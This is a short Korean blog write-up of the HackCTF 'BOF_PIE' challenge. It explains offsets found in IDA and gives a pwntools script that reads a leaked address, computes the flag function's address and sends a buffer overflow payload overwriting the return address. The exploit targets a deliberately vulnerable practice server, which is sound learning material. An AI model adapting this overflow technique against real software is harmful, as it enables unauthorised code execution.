본문 바로가기

Write-Up/HackCTF

[HackCTF] BOF_PIE

 

 

main

 

IDA에서 offset 확인

이전문제를 조금 응용하여 푸는것 같다

 

v1 = ebp - 12 = 18 + sfp = 22

 

jon9hyun과 welcome의 offset 차이는 0x79이다

from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3008)
p.recvuntil("Hello. Do you know j0n9hyun?")
p.recvuntil("j0n9hyun is ")
welcome_addr = int(p.recv(10),16)
flag_addr = welcome_addr-0x79
pay = b"A"*22+p32(flag_addr)
p.sendline(pay)
p.interactive()

 

'Write-Up > HackCTF' 카테고리의 다른 글

[HackCTF] g++ pwn 풀이  (0) 2021.09.30
[HackCTF] Yes or no  (0) 2021.05.17
[HackCTF] Offset  (0) 2021.05.16
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.16
[HackCTF] x64 Simple_size_BOF  (0) 2021.05.16